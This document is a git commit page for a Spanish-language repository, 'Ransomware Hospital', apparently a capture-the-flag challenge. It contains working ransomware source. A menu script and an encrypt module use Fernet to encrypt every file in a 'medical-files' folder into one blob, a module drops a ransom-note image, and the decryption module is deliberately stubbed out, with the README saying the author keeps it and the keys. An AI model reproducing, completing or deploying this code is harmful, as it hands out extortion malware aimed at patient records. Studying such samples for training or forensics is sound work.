Initial commit - Source code
This commit is contained in:
64
README.md
Normal file
64
README.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# Ransomware Hospital
|
||||
<p align="center">
|
||||
<img src="./assets/skull.png" width="256">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/version-1.0-red">
|
||||
<img src="https://img.shields.io/badge/Creado_por-Louden-black">
|
||||
</p>
|
||||
|
||||
## Contenido
|
||||
|
||||
```
|
||||
├── assets
|
||||
│ ├── pwned.png
|
||||
│ └── skull.png
|
||||
├── ransom.py
|
||||
├── README.md
|
||||
├── requirements.txt
|
||||
└── src
|
||||
├── decrypt.py
|
||||
├── encrypt.py
|
||||
├── __init__.py
|
||||
└── prompt.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Estructura
|
||||
|
||||
### `ransom.py`
|
||||
Archivo principal de ejecución.
|
||||
|
||||
### `src/encrypt.py`
|
||||
Contiene la lógica de cifrado de archivos.
|
||||
|
||||
### `src/decrypt.py`
|
||||
Contiene la lógica de descifrado. (Me la reservo para mí junto con las claves)
|
||||
|
||||
### `src/prompt.py`
|
||||
Nota de rescate.
|
||||
|
||||
|
||||
## Instalación
|
||||
|
||||
### Clonar proyecto
|
||||
|
||||
```sh
|
||||
git clone http://challs.caliphallabs.com:18971/louden/ransomware-hospital
|
||||
```
|
||||
|
||||
### Instalar dependencias:
|
||||
|
||||
```sh
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Uso
|
||||
|
||||
```sh
|
||||
python3 ransom.py
|
||||
```
|
||||
BIN
assets/pwned.png
Normal file
BIN
assets/pwned.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 126 KiB |
BIN
assets/skull.png
Normal file
BIN
assets/skull.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 91 KiB |
77
ransom.py
Normal file
77
ransom.py
Normal file
@@ -0,0 +1,77 @@
|
||||
import os
|
||||
import sys
|
||||
|
||||
from src import encrypt_folder, decrypt_and_unpack, copy_prompt_image
|
||||
|
||||
def banner():
|
||||
print(r""" uu$$$$$$$$$$$uu
|
||||
uu$$$$$$$$$$$$$$$$$uu
|
||||
u$$$$$$$$$$$$$$$$$$$$$u
|
||||
u$$$$$$$$$$$$$$$$$$$$$$$u
|
||||
u$$$$$$$$$$$$$$$$$$$$$$$$$u
|
||||
u$$$$$$* *$$$* *$$$$$$u
|
||||
*$$$$* u$u $$$$*
|
||||
$$$u u$u u$$$
|
||||
$$$u u$$$u u$$$
|
||||
*$$$$uu$$$ $$$uu$$$$*
|
||||
*$$$$$$$* *$$$$$$$*
|
||||
u$$$$$$$u$$$$$$$u
|
||||
u$*$*$*$*$*$*$u
|
||||
uuu $$u$ $ $ $ $u$$ uuu
|
||||
u$$$$ $$$$$u$u$u$$$ u$$$$
|
||||
$$$$$uu *$$$$$$$$$* uu$$$$$$
|
||||
u$$$$$$$$$$$uu ***** uuuu$$$$$$$$$
|
||||
$$$$***$$$$$$$$$$uuu uu$$$$$$$$$***$$$*
|
||||
*** **$$$$$$$$$$$uu **$***
|
||||
uuuu **$$$$$$$$$$uuu
|
||||
u$$$uuu$$$$$$$$$uu **$$$$$$$$$$$uuu$$$
|
||||
$$$$$$$$$$**** **$$$$$$$$$$$*
|
||||
*$$$$$* **$$$$**
|
||||
$$$* $$$$*
|
||||
_ _ _ _ _
|
||||
| | | | (_) | | |
|
||||
| |__| | ___ ___ _ __ _| |_ __ _| |
|
||||
| __ |/ _ \/ __| '_ \| | __/ _` | |
|
||||
| | | | (_) \__ \ |_) | | || (_| | |
|
||||
|_|__|_|\___/|___/ .__/|_|\__\__,_|_|
|
||||
| |
|
||||
_____ |_|
|
||||
| __ \
|
||||
| |__) |__ _ _ __ _ __ ___ _ __ ___
|
||||
| _ // _` | '_ \/ __|/ _ \| '_ ` _ \
|
||||
| | \ \ (_| | | | \__ \ (_) | | | | | |
|
||||
|_| \_\__,_|_| |_|___/\___/|_| |_| |_|
|
||||
|
||||
by Louden
|
||||
""")
|
||||
|
||||
def main():
|
||||
while True:
|
||||
banner()
|
||||
print("1. Cifrar archivos médicos")
|
||||
print("2. Descifrar archivos usando 'key.txt'")
|
||||
print("3. Salir")
|
||||
|
||||
choice = input("\nSelecciona una opción [1-3]: ")
|
||||
|
||||
if choice == "1":
|
||||
print("\n[*] Inicializando el proceso de cifrado...")
|
||||
encrypt_folder("medical-files", "files.enc")
|
||||
copy_prompt_image()
|
||||
|
||||
elif choice == "2":
|
||||
print("\n[*] Inicializando el proceso de descifrado...")
|
||||
decrypt_and_unpack("files.enc", "key.txt", "restored_medical_files")
|
||||
|
||||
elif choice == "3":
|
||||
print("\nSaliendo...")
|
||||
break
|
||||
|
||||
else:
|
||||
print("\n[-] Opción inválida. Prueba de nuevo")
|
||||
|
||||
input("\nPulsa Enter para vovler al menú")
|
||||
os.system('clear')
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
||||
cryptography==42.0.5
|
||||
6
src/__init__.py
Normal file
6
src/__init__.py
Normal file
@@ -0,0 +1,6 @@
|
||||
import os
|
||||
import sys
|
||||
|
||||
from .encrypt import encrypt_folder
|
||||
from .decrypt import decrypt_and_unpack
|
||||
from .prompt import copy_prompt_image
|
||||
8
src/decrypt.py
Normal file
8
src/decrypt.py
Normal file
@@ -0,0 +1,8 @@
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
from cryptography.fernet import Fernet
|
||||
|
||||
def decrypt_and_unpack(input_file, key_file, output_folder):
|
||||
print(f"\n Error: No se cuentra la funcionalidad de descifrado")
|
||||
return
|
||||
44
src/encrypt.py
Normal file
44
src/encrypt.py
Normal file
@@ -0,0 +1,44 @@
|
||||
import os
|
||||
import struct
|
||||
from cryptography.fernet import Fernet
|
||||
|
||||
def generate_key():
|
||||
key = Fernet.generate_key()
|
||||
with open("key.txt", "wb") as key_file:
|
||||
key_file.write(key)
|
||||
return key
|
||||
|
||||
def encrypt_folder(folder_name, output_file):
|
||||
if not os.path.exists(folder_name):
|
||||
print(f"Error: Carpeta '{folder_name}' no encontrada.")
|
||||
return
|
||||
|
||||
key = generate_key()
|
||||
cipher = Fernet(key)
|
||||
|
||||
print(f"Cifrando carpeta: {folder_name}...")
|
||||
|
||||
with open(output_file, "wb") as f_out:
|
||||
for root, dirs, files in os.walk(folder_name):
|
||||
for file in files:
|
||||
path = os.path.join(root, file)
|
||||
with open(path, "rb") as f_in:
|
||||
|
||||
file_content = f_in.read()
|
||||
|
||||
header = f"FILE_NAME:{file}CONTENT:".encode()
|
||||
footer = b"END_FILE"
|
||||
payload = header + file_content + footer
|
||||
|
||||
encrypted_block = cipher.encrypt(payload)
|
||||
|
||||
f_out.write(struct.pack(">I", len(encrypted_block)))
|
||||
f_out.write(encrypted_block)
|
||||
|
||||
print(f" [+] Archivo cifrado: {file}")
|
||||
|
||||
print(f"\nCarpeta cifrada en '{output_file}'")
|
||||
print("Key utilizada guardada en 'key.txt'.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
encrypt_folder("medical-files", "files.enc")
|
||||
20
src/prompt.py
Normal file
20
src/prompt.py
Normal file
@@ -0,0 +1,20 @@
|
||||
import os
|
||||
import shutil
|
||||
|
||||
def copy_prompt_image(destination_path="."):
|
||||
source = os.path.join("assets", "pwned.png")
|
||||
|
||||
destination = os.path.join(destination_path, "prompt.png")
|
||||
|
||||
try:
|
||||
if os.path.exists(source):
|
||||
shutil.copy2(source, destination)
|
||||
print(f"[+] Nota Ransom copiada en {destination_path}")
|
||||
else:
|
||||
print(f"[-] Error: Imagen '{source}' no encontrada. Asegúrate de que exista la carpeta assets/.")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] Error: {e}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
copy_prompt_image()
|
||||
Reference in New Issue
Block a user